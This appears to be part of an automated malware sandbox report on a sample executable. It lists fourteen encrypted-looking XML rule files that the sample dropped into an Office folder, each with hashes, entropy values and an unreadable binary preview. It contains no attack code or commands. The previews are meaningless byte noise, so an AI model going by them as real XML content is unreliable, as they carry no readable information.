Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.894661780333752
Encrypted:	false
SSDEEP:	48:QlGnEz1i1DZjV0IMboq0pqgMKJukCx6Bl9vOBlyiiD:QbyVVhpvM9jsH9vOXy1
MD5:	E6DE59F40622315523BC9900048229A8
SHA1:	C77B9EB1721CBD474D1E8A49F677FB661B267D9C
SHA-256:	24AC823F6B6F2FB4CA03E474E32344E888F0DAA37E6DB0DA336A0D9C2008EE4B
SHA-512:	DF53E9210E7F177089AE04A8C4F5023C225E23BFEB9D882F1112633DBEC24EBB767022C97AEA2CDAC9410FA613F591B459F567EBAB0E31437C62826C19142E4C
Malicious:	false
Preview:	<?xml-..o...2.}..HVp-.[..r_/.1q....rp.\4d.P..?...9..5....v.M..#e...J..c...t.$........e\|......D...[@.]..@@..15.@IV.m9.y(P....l.m:.)p..!.x....W..R....l%...j..1..^X.a.......q.....v.z.2...a_...H.p..../.w).[...d....._.3../0(...1?!a.X.p......%.6:.`...P...:..'..p.......((.m=^.O.C......#.D:Y.q.Z...S%...E..vGa3H.....=...E..R.,.D......0t2[.65.1.h.f.j.S.J.X.............y..q,...'.d>\|/...,u.{...\.0..#.ei]H.F<.....=...;...d.h.T.....Jp.N.MY.s~..V.....Wh.........I...\|)....).......B..@.....P..X.0dL.......)..r......`.yT...-..;`..`{j..+.4.Pn+...V.z..6hI..?g...`.5..ZF.O\.`.vg...['.....Y...1])..78...uC.O.f..........e.. .E.{..rl..A...Q8....0G.F...@X...5\#.F.b..~\k.w..ge}..l..M...h.\......H.."+............g..6(.L..Bm..[...Q...j..N.<.I...........(.l....D.m.7..3....o.WHa..Gt../<.Ypu..yk?kGj\|.ok..ZO.VW.....:.+..7@..3..;.n....p...D.+..w.....C.y.a....tA^......zT.I..%R.."V6Qd..q....=x..Q.U....3u.zd....@.k..!......3..am.5f.....1i.h}-...H>J......Wn...."....h@_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.871015396774041
Encrypted:	false
SSDEEP:	24:I2VDHeSQPgiaHXzpHPOlf21U2xfTIe/nSmVCtRhEzAqVFypAOiaSRjRiTkbD:I2VCSKgDp241U2xrFnSZzhQA0YSJwiD
MD5:	B1E78F4D0FFAFC99E2D3323A52277B8A
SHA1:	C481503BBC5E9897E4FB51A68EBAED2817B28357
SHA-256:	96C845D3BD91CF6542994554A9B02AC93F13854949654EA57D77B47449D062D0
SHA-512:	6FC3E2B6FBF8CAEF21F750980CDD2CAD057545BDC285B09D1ADA2B8689241F9AC9742A30EFE5507F029DA462F66341889CC92664C97104B3C875BE3DB3A185F9
Malicious:	false
Preview:	<?xml...~rD...v.:z.l....<.Q0i.....<...QK-Tpp..>2r.y..+....^.IS.........?0..9.e..._.5..B.......T..r.K....\A.J...x...'.......E2.._j.....<.........}.....G%T....E.w...].I'o..2.Q.f..yC`..@....~..7\|R...\....L;..E.G4.a!....I.VR...j...\(..x...o]U...542.U....d.i'.U.....-....&..9-6....P%.O..$.z7.-....j7D...2..3.;..n..:...<kBpt..........R.Xp..l.>.='......ja.2@..&...f.X.....P....&~:...q.h.~....n1...Ivl...1...........?.$....G..-".P!........ ...a........JjX\B;N.L...NK....\.=._.H#h....,e..u.....I.+.....~..S.z..oX..z.e.B.>.a\.>..1....+.9".;.]$B..V~..7(.Jd.i.. .m..4.gr$.6f;.s....,`.p..:H[8..Q...j...ym..A...l.../.-....`8....9.fY....).U..k........Ne2$8..F.`.%.... >.(..(.j.c..$HB.j{._Z.sYJz.x.....}...}.}.....w....)....../....jhM......d...10..t0....R..2y...xC........[D.<.........X`9..j.@.........JT..z...H{e.....Bh...yMh. V{.P.G.U....\.......4..V...\|VBZ.5e..-..2...\.'.+bbZ........H.2..B....,.f0.5.Y.....6.tH.2...R..z.....{......;,Y.Y..'..........>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.883707846067728
Encrypted:	false
SSDEEP:	48:XVhdcXDkIvyA70taeoaxbiilrZ3ATawOF3f90juaGQQiD:lh0kzA7sae3bplrZwTrOF3F0CaGQv
MD5:	92B2A96337D93E4F29CFC34D80D09058
SHA1:	6C6A0D6743D1FBC4C1231014E40207761C1178CB
SHA-256:	C63317DA96D9A32B3C598A4F8940833E1166A7F8BB846591C351653CEA08D03D
SHA-512:	CC7217ED9BF3A52A6F3024FB073EBDB9C50C1433D37B618BB7B8A27A70D37A70356A5C28B77A18A525421133D08B0E7DAA311A2F37C3FF31E3FBE6308BCD3AB2
Malicious:	false
Preview:	<?xml...g.Fc>....C..b.}..@P..E ....!...]...!...B......S4Q.m.P..e.5.......g........q....t...>.@.F.......~.:..oF.o.[..Na!....&/..w*..r...NJ-o.M.d.f.P........3.e...\|...&Z....j\|..i..[.Tu0...-_.lt...9...&...o..Y.[.~B.}.su..Id...1k......f..a/...Z>%..ON. ..f..e8.".Og.X..T$..!.!.......!.!.Q.S].j.........@L.....F...~....8.........B..=t...6\."...C3.`.x...w...c:.?}r.....(_Y... .&[. ..U.......9.f.!...V.0...8se.r...PG..=.1e.%(..A....I.....8;..2..i.i.KI.I....=.....+..r...Og...].^1.....G..lat.W.urt!.........0.=..&..o.i.6.%..O.c.4.};.....u.".....!..h.rc...c.N_.}Z........l<.F..........=6.u....^....wpy...9..R...,.\r.H..J.~..~i....UL.@" ..=1.#&y..T..?.5.6.W....0.Z.[;....lI._C....hw..L].().B.....CH.....(....L-.N...'YpR.L<f.".....`F.G..N.F..q..a.j..._.e....g..Sy.G\.S..Iwf..>..du\|..2;..I.....pP.-...\|.r[.V.F...].`$.4...u.j....\,.,@..NK.cTA.l%...!..b..Kqn.[.&..........8.[=fM.X...pOG.....(..2..y~.~Es..Z...vy.D..&..!>"<..+./.....w.n.d......(x.p....{@Y..l..W....n.`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.881778656163191
Encrypted:	false
SSDEEP:	48:K4/0nFhFtikbNTMQshcmCDlyVaXnIjD0LMuEx4yPdZqnXiD:K4/0nFhbxxTK984KnIjTuExzHUa
MD5:	E57604B175D90B64A4BEB8A878370193
SHA1:	1E2FAF11B734D34F60BA4521C1E8AE123DE4DC11
SHA-256:	17A3F2B6BF25AFF61C1969B298ECB7E3D160FAA72F370B14D49A5C70A8EB85C2
SHA-512:	308B7ABB520EC3093F581D76ABF67D835568ECCAF9AA2DD0E29930F4DE1AFD73339A4D1BF5FE6C710255CCA2D20B5C10E938CE57D9E4D7E30C1EF5FDE77FC4D3
Malicious:	false
Preview:	<?xml..........}.1...c.r.^0....R.Cg..A0.<;....6..OO...f....!..Y...l`..#z..e....^..V...E.@...V6-,...o&.wL?.0..V.c...}..".\|.].I..0..M`..g/...?.N..p...X..NHGdNZ..%..9.DE...k{M.OB.-=.K..$.E:....N..M..s.40^..c.nS.g.&.tP.....q..........IZ..!6.w..X.Z....&.G..D3...1.......<....eC..<...%.3.t`.\|...M0....H......jC./Pi2..o......a.oH>.Pi=#../...+...]a..,..\.9..COK...S..;.>B%..u...\|.s...l....k.l........@......H..Z....v).\|...<.\|...c.Aw-........{..d/.A..B.4...<.s..].@aA.1...#..a.kv.y...k.>..cX.b.b...o"{.X...q8..O...\|.~.p.f..;...vY.>L...lf..y.]m.H........wo...F@K.d.-..n.-.#....b...t..T.....j.....gR..4..zw"`. ..I@./.......Ci..8...1k..6.c0....d....-v.!...L,.5...}[f..?...i...c.w.#....G.'...9..e.u.p.t....._.._.."7.M....+.j...5. ........`u\|..N..Q\emZ\|5...+;..zp.......u...;.wa.TN.k.j/...]P..J...+H......(Q.....Zp.m..5P....F...B.\.1^-/.K....7W1#9g...Y.-+...T....d.t...)s...~.u..)5.,.....pw.]W'..<..{.N).u<..K..] b..........N..:...I9....4.[...N..j.N].=W{W-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.87838180035297
Encrypted:	false
SSDEEP:	48:q0cBTvqfeh2iTyNyyYuHxv0+TLMZ94PFj2iD:yzCeh2iTyyyYGxv1wYPJp
MD5:	36AA991705EBADE22F9CBE9927A4FD35
SHA1:	0939EAA548E7316256DD6677CDCF0B7B14C96441
SHA-256:	0AF19DEF16FAC2D33037D282671E48D767214B024517B12DB60FA199BA40098B
SHA-512:	F95C8E8C98D5DA9C0B95B70B220CE0E0564B2CB6AB94346D0AE6E830994656845DDF3CF8DE0A24A1AE0A1A3582A6103147DAE7BB564CDE6633AB0A7310585DD5
Malicious:	false
Preview:	<?xml`..+.gz...,..x5}......x..D:..B_t.M$..W....8...#+.2...\|.}.'.E.D]:.S9A;..X...g.h.JV{..=X.P.t...gm.l..s.\....T....\.BW[ .>.L.?.["I....../.t...%.F.8=Z...:..l..S[..Pje....H.t7.#......b}..]..lF.\.&[...$.a.@........A......h.A..8u......'.....wB....7+..........F..A......k..o...=.R....H...(.?......-.m}.i.L..84 =....p.=.....+#..~...N.F.'.9I...6C...M.....l.tN...$..aR..ko(.....^]..L..$D_..$.K.UD.....A...+.je.....-...'...4(U_.2\..........o.w5..Cx.T...r..o.H....W.1...Z0.#.F........^.#V.W.m..-h..\|....:......A#..P.].\|jF.j. l..i@.5._.E.$.O..V......t........^S.d.X...=..1..l0..!~&t...;^.@.S.-..\|.4+_...b.>P......zvn.B...r.bO.......R=~\.uW}9....<:I/.8.~..".......`.`u.hh.[..)T..LT.. ..\n..G&Y..Q..C..{B.&.j.$lZ.c...Tt$.T[gT..Pa..OO.$...I........D.N...B...u[.A.:..-..j........X.B.".."I.......".s/B.'$...Y.....DI.M..XQr.m\|R.#`.._....2......`O.8..8.;os.<s#Y....t@T.Il.....9.<...9..g=.q.V....DGG.h..."b\|uF<P..k....I#4.J.V.b.....~.V._;..J...h#...S....=.rJk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.871452671249189
Encrypted:	false
SSDEEP:	48:AbOdewTjibEpk6XzUUMkuuH/qJ6FBFDNZhziD:AVwTjWEG6DnumqJGC
MD5:	0AB7C57C1D002A1C7C3D1E209C888516
SHA1:	D9118952613664EB69A8321528F49C10B1852AE1
SHA-256:	B5EE62E57026C20C555AE69076A814F8DF805DFE00CCE6382BD6E08531631109
SHA-512:	F8522FCA2E9E80FB531096FF82D6024D8E2C4F4D0E6CCD6B7ED280E5C806BE76BB788835FF857DA33BE1F426AA24A514834997B1DF0FCC4E5505D429F2F04E52
Malicious:	false
Preview:	<?xml.....R...7UU....Jg....^U.?..j..M.$........=..D.]].V..4..~B.g..>.=m.S{.i..Dn.X..#.....[bw...m.y.`n.=8.-5.x.CGE..V.\|S........~?.^L.d..].....).H{.Q.t......Ay.a1. ....Pqt.%.4[........0. .i..G(.?...#3]..?.w.EXam.sB3H.....sl.GQ.J..=........[.....?..hg$.....3.L._.@.u...w..U...WG5&,.......>A..I:...".&.n..Yl.....{0.I..@TF...q.jS.?M.~.9W.K......m....hE..}. <#.Z=LM.m.=.^zI......H.`..5..@./..o.T..f'.........}....>.KGH.$<n............)..+.T.s_.!:.z..........d...U.......ml.M..=.....)F.\|.<P.D&.!w.m.K.X.r'.NOQlc+.)P..`Y+LQ.v...KJz..[.o._.%6;.....U...pF.Q......xi...q...........{JD.iY.....B..H..{.+..]1......i-2WN...G...\|.E....\|].-V.m..o.^.....@M..N1..0.......N..K...U...........3b..=i'..<..a#.C3.>.pmhcC9q.4.(.N...A..2.Lg.z.......@l..S.0v.r.0.a.....@...$.:.......o........4&w.Z...t....1X~P....Cy.....33.Oj.g...[..RS....BC.I."..T..m.eO..Uz[?.xO1..S.....]..X.......b..\....iY..VaG..^UG....j..EY.7J.!Q..W..XS.U800.s.3...e4....(M...a..2Y.9Q>........abx.I.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.877449579153591
Encrypted:	false
SSDEEP:	48:d0GUY2eeRlxB2z3FrTkJYUEkdXt+D3pZ2ZwLqt2X/UtMiD:ZUcIzE1yxrXt+NZ6wAztb
MD5:	857A88EF629886A4A6DF54C49F195F87
SHA1:	B25C0D9D8E8402135BE854BF935A22836A9F0243
SHA-256:	FDFC33DA60211BDFF1DDA39088F36C155C0A3BC5AA68DBFEDD4956D11D424B45
SHA-512:	40D15241C4D6D33BBF3220088D647C0DC22D618FB7B7CB030EA417C2022564FD9015450277DC674ACCE6480359659CBAB6187A0A01009490EC664E6F80F8F397
Malicious:	false
Preview:	<?xml...n.u.2.y..=.iA.o.....jC.`Q8H@..f$.3.`D.._.{.w.&m../.J.;.Zv.PJ..)K..N_..J....:;.r.0)...4..F\.SCK#@.}..]....).%..^.(...m......`....H!"`t{n.k.F.E.%0x..(...B...<?+.CI..=L.S.o@6../.q...\..B.F.! +....&...3..)..k..._..q%..lS......O..1I.>xB.....Niu.8".sS._.i......].{..x......'.'m..*.....#..\|..~._...u.7%...p...+..T..E..1.h...XS.-..cc.Q...?dW..?......iL..K,.pv...=n8.L.&b0y..z....j./.jl.6.2j.]ah.=<.f"...{W..g=..kJ..m....G3..?Z..}HDQi.....w.H.w..C._..{.&.F.P:`..s.{..I..~bo%.`....=.e.4.6Y.i.g..6..'.t.E..yf.N=..z.}^.&'......X.3.J.e.8'.......b........c.[...4..,....(..J..m..X..o....qy....f.q.s...J...)\.3.#..7..l...Q>gf....\|sm.F'....(/....V.......S.9..s..BZ.,v.<[u.d-E.c..8.S.`<,...w`........f..-..q........:d..]:y=..V...F..66...I^~a....et<bK.JO...S.8l...{$=?...H._...w.&.iL.d.W.3.q...k.......e+....r..0..g..q....8..".P/......k.P..1.%.....U....:....r..q...Wz.qa.F.c.f.m.."...bz=3U}.2,.Z..)8z00..Y.(s...bx.Ab.v."V...6../.k..=e6..=........Tj.Q.}.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.888027464298769
Encrypted:	false
SSDEEP:	48:wo5jDLzAttX4LZ5G1o7/G5SKlssRhk8tOztt/4UvbiD:n5/4ttX4c1ZRhk8a2UW
MD5:	E6C1E4A11F3B5B0869ADB3542D97DCD8
SHA1:	2193A2CBD4667E2051A504707C315255EF4F13DE
SHA-256:	5487A8F30523D4F64EA51492D13F266B406E7399ED65BE5AAEB5E9DF6B83BFF5
SHA-512:	4CB458B3B9447B63B7FC89140732417EA94DAA254DE6F42B1A917DB4498221048C4A9E1D5C620FBC41356388A57AFCA4D33FE71DA5168CCB2130BE31632C526B
Malicious:	false
Preview:	<?xmlkt.K..$.....w.f.:;L..Qnf...Jz&..\..:.Lb.8..8...?../.}......-i.>..0.u.8.o.>....2$......,.$.ft....[y..T.p.J..b;-^Q...M....../...s.......E..?'...2....-...l...0...~..2'd..@.N....J#P.e..!.....X5,.o.oH....].-.m.e..S.=...x../@V/Cj..GV......C...2...Pl0.I..f..........t......[R.....TGJO......`]..`a....-..8R......`........1..#..A.d.`.F.h.IS..o..q....e.."..tK..2.N.n...92$..M..]#..{.i.-...\|3.<0(..8...[.....-.G..8.~I..W...#.C.9c+...l...P.\..p,..FqD..3........R......1.........v..... ..Z1<...B.....a;.)..h.g..(.xq.f..y....w...A...r.V&..5-VD...D..Xwy. ....a!.l..{...P..J.a&{r8!H..fx]_.^%].`.X.v.@........+..k..3.\..=\|.5.%/.NL.d.I.........2Z.h.....H.` 1....M...k.......\|..x.s.5...z.l..L.6..~...-....O.@.b.>`..?.........x.h...a;.d.E`..#.4n...-......@...i..N.H.kmt%.L...NR...g....C..<$XG.;.O....o.:...H..=.O..b.....J....,R.<.Q..?v.;.$...z.m....v..A...Kio.[&mO.Z~........}4..-..M1.?...$....W....u....73.r..vn.1X.t?.Q.?%}..O........e.......H9......r..y...@...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.863785994321287
Encrypted:	false
SSDEEP:	24:WFjAZfr7n4QDxaF2QF8Z4ySggQ8dKX16BmwDj3b4kj0KIYq2r3BxoGa4azVRZiTW:WZavjojO4Ogf0buTNf3q2osapR4iD
MD5:	DB065922743C54D4EAC9827E67C412C0
SHA1:	7FD965EACB3A5DE2A8180A92D776E02E35693CD3
SHA-256:	78DD5DA86C599B598081B2BCBEEB0C47E704F818403B6DBA023555A5AE658E60
SHA-512:	ED40C6F93566D97D1FBC26EB1D56AAB4520A13F8ED5CEF3DE8230F8A205270FC186A84A94D2F2C5EEF6F36221285206259E8330083EDFD41996D86CE8EE400C0
Malicious:	false
Preview:	<?xml...N.......=...]e-R....5.@\|.^....l..P~.p....(. ..@.E.........hZy.iLF.M.(OL...Y...l.'N..,.B.R.....?....(...EA~..%.Ln..`...d...>^$.Q-.....~..Z...z0Bs.M..s...%.a`..7.s~.6..?{Z.N..$xP<../.Cg..<..r..V.L.Q..].l.$.w.XL.$.....q.\|.".N..*....RmJ.J...B.2r..k<=.A.}..s9...D.d...\|a=.:._....W..\.t.Q...9.>..q...G.K.G.)$.08.dL.p8....R=......o.-%OBoh.{.>1.M...........fN>....s...>q./?.u..0wV.h....8....]...y./..21.M.bJ..Mzx.g.d..B._..Bf/(;R%..3..\K....RV.#.$..^..azc6..M.sB;....-...C..Y..l...AAy\|...T...>..t.`.....lxq.>$....?.h...0....iJV.:.......u...n.:4/..b.5#.=..`.....C~.&k4..P..8..gv..,.x#yfk...iI.-.M[s....Xv..JQ@ghm8.]..4.....ty...C.....W..{.Jvf...,h../.....&<z..2.[.'...oEed.MU...t;U...V.Q...z....F..r.O30-.D.y:G..z......E>g..Y&.Y...4\|F9R.^....v..k4S\K..T.j...tI...j.9M...C...D.3....w.^.U....>LK.%iv...Y>....l.DD.`'.?..N{.F2......QD.A..v6Nf.G).......:{..xV%M.....7..tP.\|.2..sj............L.B.A....=%.-w.[..=GYar...Q.,....K...k.T.I!..;..xUa.._$.C..z.V.-\|.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.895530999411885
Encrypted:	false
SSDEEP:	24:KjNLBPz/UULfIjexAq/heUxFfSTlnOBZRqX2Gy/liw9IW+mQIik/te61l3Rv9iTW:OLpQyvxT5eCBSByqXFwKHMbFeYVRsiD
MD5:	9EE990DDE344C8B38B8DA5B0AA334235
SHA1:	2B6B3201BA2BDF32CB2245FDA3632DB8BFF041BA
SHA-256:	3AE1108F9305FAC3379CC6D9D7EA1CDA0280531E3057AD7C2FEC99EE35B694DE
SHA-512:	38CF6A26F7951F2147F581BA9440E3CDBE3FE2EB7027A751ED8506447654D710DE0C09FE2F662972B8EA9FA81842405E3B33FD6949D75EA2305C08DFD7744543
Malicious:	false
Preview:	<?xml.......N..fa...Fx....`.o.UA.[.ZYD.#e...jH.....b..e..0.l.i...zx.....I=.Hg7Md..l_g..".i\\vq.....I7...I-r9..G.$....y..o.@b.Rc...WA.V.......w...#$..'.%.....-....N.?$...u_1...(._nAHy.N.2./..........c..lx.9"O.#\|...o1..R....e...B.I.Q..d...`jG..E.([.>....T..b.<.. s......%..........M.;......(..^4].!.3.......\.t...F...`z,%.R.}....O..B.Dp.%.~..+..2\|.)n..iy.HP\|k[.J...M....m.4[.E..oW.QY "Z.........\|....6O.%.JqX.......8A....P..i.....d.......Brm.... .c.3..s>P...Bx..6.G..(.&+}7.....K...T.T.Z.R.I..Z.} O..`.GO...r.7.@.~.....L<...g..\..;c......0.G....QT..l.g.1...r..T.x.V&R^. ....M<..I..^.....5...`Z.....[..+...d...xF..Ka...).(y.;.5..S.U......I!.f.1...%..}...dd&5q..h@.....@}.3...z.....E.Z2.ir(.'.W"\|..A..l.qY....z..Oh&1.H.>..z...5..3._h.......>.K..C.i....y}t..W.>.g.S[Y..n?.q....Dn7c.yk.../....{.+}B...Sv..`U5......3....=..F.O.i.....S7......Zaxt=...<...rx._...pa......F...h;.-.p.$.o?.]....].....{.A.s...H@.cP........2.3..o...p.Lx.p..x.6...g..D...M..cR.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879112577862928
Encrypted:	false
SSDEEP:	48:+V+1YCbQKMwQXWgveXXEINIQngwfOmSrlGAJiD:e+5MDv2XUVUImSrlGB
MD5:	A7ECAE73B54AAF464F1A4902BE2F4281
SHA1:	67D46BEC3FE7F1D951A2033B663F3A8D7A27EE3B
SHA-256:	384256B13460CAD0610E72491C7EB69285019AAF5354C591157D163F2668B6E7
SHA-512:	3A3935716BDD9FA6563792B70C9549395C0D44F77C31E513A334229DCCD718090362BF72584E5875DA53CC00FD25CCBEFC17A005519B621BCABA472FF38F047C
Malicious:	false
Preview:	<?xmlq....-.........n.h..$\......k.'..L..m>.<f.Q.-.....b.-7..a.r.w/.....6.<....v. ...r..\|.......#..b@.lE..d...q.....y.k..H...v`"?4..-..u...\px^L.v.2.Y>M].R..L...5\.{...Rgv6.,]..C.7.D.TnW....2e...)7.]B...D....1.z.D.u..c=%w...x..i..X\...G0.H...p.............8.......B.H. t....0b.....J...X.Q`)._.25.D..sq.B.p.....;.......cF>.b....(....l-3L.#m..^I.7..\|..U.@.@. ..;..qk..\|.&5...k..{.Y..!....5.j.'....l...a[ .....Mi...$........cb....K..y..'...>e.(.. ....{......0.>\|..t.....'.\|\|h;.fN}..'O.6....Ta.....9.rEhVoo.y2..A..b.<q...v;..%v.s.z{....#I....8..w.$..4.......L.-.b.....Y..vyrP.r.nC...:s..U.......vl...)sa.j.r....3...'..S...\|...cA..u..n.k...M..#.dD......R.cF.$.M#..]....~.eD...."6x..%...h..S.....1.....Eg../q.<).@K......}..J.$.k..v..c.Y.......1...:....xC....3g...H.z.}7.......#09.p@..I.U.n.%LBYO....Zo.c...n..Me~.....M.I..;.+.._.b.BR..W.D.........P.......5\..E'.;..G'.l.....C.p..o..............!..*.Z......I]..}]u.Q..].1.5z.0.@K0..0_ar.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.878819233064284
Encrypted:	false
SSDEEP:	24:G4Hzy8MrVlYFiTWWkMz0iYkmNvUa6gsqcLsBMQZVVK8EPVT3Ycf86zsf1GFSU36L:HHzyL5lYId4i8Sw7MQZ/hETd/IASpyiD
MD5:	46B940F0DD67CD7FABC42CD87E938090
SHA1:	BB2213DD38D78C74D24BC69232ADDA847A15F664
SHA-256:	5C6763F22E6F6F3DB3061873D83CA3CFED3DAE04C8FBB1E04D4C7661C55220F6
SHA-512:	966484B086C496071516A2543737849D97E1246207085790897F0E9ED87072BB0966E086E07E8676F79F2851BBAA197F38D7CCADFE8DB5B96E6D294D5F413641
Malicious:	false
Preview:	<?xml.......3.A.M...1>-...@RH..'}8......u.R.]Wi.. ..\|hW.=.6...g..!......1I.,...Y.n..qt0<.....o...o.EP...1...F....KT.....+..l6w..L.h..1.c..0..@.\|...`I.9Mkm#...@..x..m}.6'.......s...........dU........=.B".@......Z+..k5.e=.....IY..[.~.........C..}........r{L1M..8.U..O..7sm..B.\.G..\|X..Og>..`9...F.&M..s..i.......zH......$'..+a.##W...K?...q4..1..R..g.l.F....V..a..~.<..Y ...M%.?X.ZD..s.#...NDB.....O(.<..>............t..E..J\|...04v.=Y..Sq...T...E../..Bz.@\.....'../cK.6.....EjzX]..$".[.0..J.....Ym...]..<.5#.F.'t..}..;....v..4e!..q...ap....d..Vk.<...,...5...........X.x... ..5UAE.7.....w.[......`..q.\|U......Z......-.....OCy....e.s41.:cH.\|...&,_,...e....U..:.}...B....x!'...$").-....o.a.0..P..Y6r5...2..%.q..<+..]........Y...:.8FAIL.Gb.....k..zr......!.-.{ ....L.v....Z.Y..e.U.L"}.{].......f..].../.y_:I..l.o\.....O#.6.nMgInAF.a.}........~(.6..I.Vy#....~.]..........$...t....e....<..{k.U....@.%.v~.8...\H.,}s}.....'2.\.\{...]....G.\|,).......b6..}?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.86806060965278
Encrypted:	false
SSDEEP:	48:WeLNwp1s6hiIzHL41msjFdP8HpPdk8iiD:tLmXs6hiIzr41Hv8J1P
MD5:	0FC22ED03B63C9F6C03279B8BA7B028B
SHA1:	59520382FBD59B7D63774EF1803EAAF5087C05EB
SHA-256:	D295A4050B6137FF20F2E42C91BB56785DC5039CE8788ABE840A1363D229E194
SHA-512:	F18E29E5B4703750857873651E53A11AAE5F82EAD9E6DF48BC76891434031E3D2E0801AA7177EEE30E1334BFC8A17EB8EA3852C67771D0EC995AAB4586354D6A
Malicious:	false
Preview:	<?xml..&.:...S.1...-T.).N..3.S.#bb.L.e... ...N..o..S..g_f.#g..\.._......>d......k..3....9u~....}.."A....b....k...+6@Ex.....6..;....UM'..X.+..$.\|.....DN`.A.m.Q;...`......<P.2G...\|.[.&.P.Q....Fj.....-.Z.....6I...F...#.ld.u.5.S@..[..O.G....F.\1Q..?w..._.,.M....Q..QpE...d.F.-...y...h......d...._.+9+..9%..;A.HUo...........g..[WK9.Q.n.\|k..~...&.../...B...unv.W..h.....f-..s.>.......@..B...T+!L..V.S..PU.8.Y..Z=...B@.6:..NKP.t.$GU..K.b...M..)....d<(.......4...i...e8E$a..".....sq..x.;.`Y..5...S.............}5.`.P.c.j...}.2!".D.z_-..w#F\.rW~.!...b.k4..l...4,.7........2.a....z.Q>......p.wj.O".....d.`...Y].Z..-t......!.=b...r...F.<".GRIw../t....,g.uA.{%.......-aC..X.........zu.H>..R....w...P.K../........[....&Mm.i.5....S..C>2.....0..5.J#.....%\|...X.*e...C...:}...Tl...,Y...6}.xgxPSU5..`..QZU4M=.1z.c!p.mV...9e>.U..SQ=V~....;...........HU..9....~.t.t..........#.6.[?S.~\|.Wb;ejP/.d`.5.....(.+./. .C.+X.].'...B.....b..d.{z..I......MP.it_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.890346458052007
Encrypted:	false
SSDEEP:	48:hvuLiXZ/Bx+3BNL6UqYMkQCDjlQwuE2D9uBofiD:hvuLEZq3BNL6UqY7xjlwE2BuB3
MD5:	BF56AE4B68C646501B01081842882B67
SHA1:	3F347581BBB28FC4A8EECBA546E4CBB7192DFF2B
SHA-256:	0F9EB237CC1CD1E504EE88858A67D667CBB5C914AC6D06F055534F461683D2C7
SHA-512:	13FBB610AE43801C638F2E7996A0F9226E9934F7E3121672FDBD7FF50A24BBCD37321C616F2C403DBF59B6D24F749944A953EB736C34AD44F3D29FB4095D551E
Malicious:	false
Preview:	<?xml.p.Aqr...M..#..V.?S..c..9]...2a....YX8....E.;?.&0..=.5..6...:j.&..R...l$.DO..Rm.....@.gF..".3r....%BY.8Uw.$......9..y}tI.I..dy.....X)2C}s..8..e..)..gJM^..gl..k.....V&..O@}.......v...."..*$4.#3...q~)..u..Q.6..6..=J.......U.N.4....!./....q.U..)...B..O.x?....z.m..^..8.......G..M..I/.0.4.Tt..\.......In%..U@m..;.5.]....n.Ib)......@D...'.V.._!.i..<.".I#.c..x..5...k..I..{..'-...].P.........A....-........_............I.c.g..Q1..< .4...D..j..?...4...g..J.dI...!...2..HJ..I.b..v..1.+#;...9.15d.......$...J.......Qr..)........Q.I.V.].......H_m.Q..O..Y...A._e..hI.....^..&-#. ....M.....A....$=.g\|.h........&.~...8.6.C._......{4.k..y.B......!... ......2S......Uh.B.z.4"W..jW......%.O.y.x_l.r..o...K..z..F...)).XA.s.=x..-1m.u...`W7.A..e...i.22.k...<..j.(.}<>.../MQ..C#d......tJ8..}p)6.w..z.?./..$..N..hg].y.`f..8p..fN..#.zX....^...M.u.....k!S?.ux......1.....:.&wM...b...]6.m..w.r...~bc....w.m.'....;.:bZ\|!.([..<..\:.K....m.V.$..}.&.".I.U4.......2.h....`...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700751v1.xml

Download File

